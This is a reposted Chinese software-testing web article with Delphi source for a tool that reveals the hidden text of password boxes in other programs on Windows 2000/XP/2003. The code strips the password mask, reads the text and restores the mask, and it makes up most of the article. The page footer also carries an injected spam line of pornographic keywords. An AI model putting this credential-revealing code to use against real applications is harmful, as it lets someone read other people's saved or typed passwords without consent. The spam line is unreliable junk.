• <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>
    • 軟件測試技術
    • 軟件測試博客
    • 軟件測試視頻
    • 開源軟件測試技術
    • 軟件測試論壇
    • 軟件測試沙龍
    • 軟件測試資料下載
    • 軟件測試雜志
    • 軟件測試人才招聘
      暫時沒有公告

    字號: | 推薦給好友 上一篇 | 下一篇

    Win2000/XP/2003下的密碼探測器

    發布: 2007-7-13 21:11 | 作者: 佚名    | 來源: 網絡轉載     | 查看: 26次 | 進入軟件測試論壇討論

    領測軟件測試網

        在Win98下,對于別的程序的密碼框,我們可以用SendMessage函數可以對這個密碼框下一個WM_GETTEXT 的命令獲取這個密碼框的內容。但自2000以后,微軟的安全意識似乎強了一點,用這個命令對普通的窗口管用,但對于密碼框已經不起作用了。

      有不少類似的程序是通過建立動態鏈接庫的方式來獲取,但是那樣做太麻煩了,其實我們有更簡便的作法。那就是對它先下一個命令,去除它的密碼框的屬性,然后再獲取它的內容,最后恢復它密碼框的屬性。

    {
     項目 :Win2000/XP/2003 下*號密碼探測器
     作者 :黃濤
     日期 :2004年1月18日
    }
    unit uPassword;

    interface

    uses
     Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
     Dialogs, StdCtrls, ExtCtrls;

    type
     TfrmPassword = class(TForm)
      edPassword: TEdit;       //顯示密碼的文本框
      Timer1: TTimer;       //定時器
      procedure Timer1Timer(Sender: TObject);
     private
      { Private declarations }
     public
      { Public declarations }
     end;

    var
     frmPassword: TfrmPassword;

    implementation

    {$R *.dfm}

    procedure TfrmPassword.Timer1Timer(Sender: TObject);
    var s:pchar;
     i,n:integer;
     p:Tpoint;h:integer;
     c:integer;
    begin
     getcursorpos(p);     //得到當前光標的位置
     h:=windowfrompoint(p);   //當到光標處窗口的句柄
     n:=getwindowlong(h ,GWL_STYLE ); //取窗口的屬性
     if (n and $20) <>0 then begin    //判斷是否為密碼框
      c:=sendMessage(h, EM_GETPASSWORDCHAR,0, 0);
      //得到密碼框當前的字符 如'*'等
      PostMessage(h,EM_SETPASSWORDCHAR,0,0);
      //設置密碼框的字符為空,即去除密碼框的密碼屬性,

       //此處一定要用PostMessage,而不能用 SendMessage,用后者無效
      i:= sendmessage(h,WM_GETTEXTLENGTH,0,0);inc(i);
      //取得密碼串的長度
      getmem(s,i);   //分配內存
      sendmessage(h,WM_GETTEXT,i,longint(s)); //獲取密碼字符串
      edPassword.Text := s;    //將密碼放入文本框中
      postMessage(h,EM_SETPASSWORDCHAR,c,0); //恢復原來的密碼屬性
      freemem(s); //釋放內存
     end;
    end;

    end.

      本程序在 Window Server 2003 ,Delphi 7.0 Enterprise 下編譯通過。但這個程序只對那些沒有防范的程序有效,如QQ ganme 等,但對有些防范的程序來說還是無能為力的,如QQ2004 Beta的密碼框是沒用的?梢奧in2000/XP/2003密碼框的安全也是相對的,要想安全還要自己想辦法。

     

    延伸閱讀

    文章來源于領測軟件測試網 http://www.kjueaiud.com/


    關于領測軟件測試網 | 領測軟件測試網合作伙伴 | 廣告服務 | 投稿指南 | 聯系我們 | 網站地圖 | 友情鏈接
    版權所有(C) 2003-2010 TestAge(領測軟件測試網)|領測國際科技(北京)有限公司|軟件測試工程師培訓網 All Rights Reserved
    北京市海淀區中關村南大街9號北京理工科技大廈1402室 京ICP備10010545號-5
    技術支持和業務聯系:info@testage.com.cn 電話:010-51297073

    軟件測試 | 領測國際ISTQBISTQB官網TMMiTMMi認證國際軟件測試工程師認證領測軟件測試網

    老湿亚洲永久精品ww47香蕉图片_日韩欧美中文字幕北美法律_国产AV永久无码天堂影院_久久婷婷综合色丁香五月

  • <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>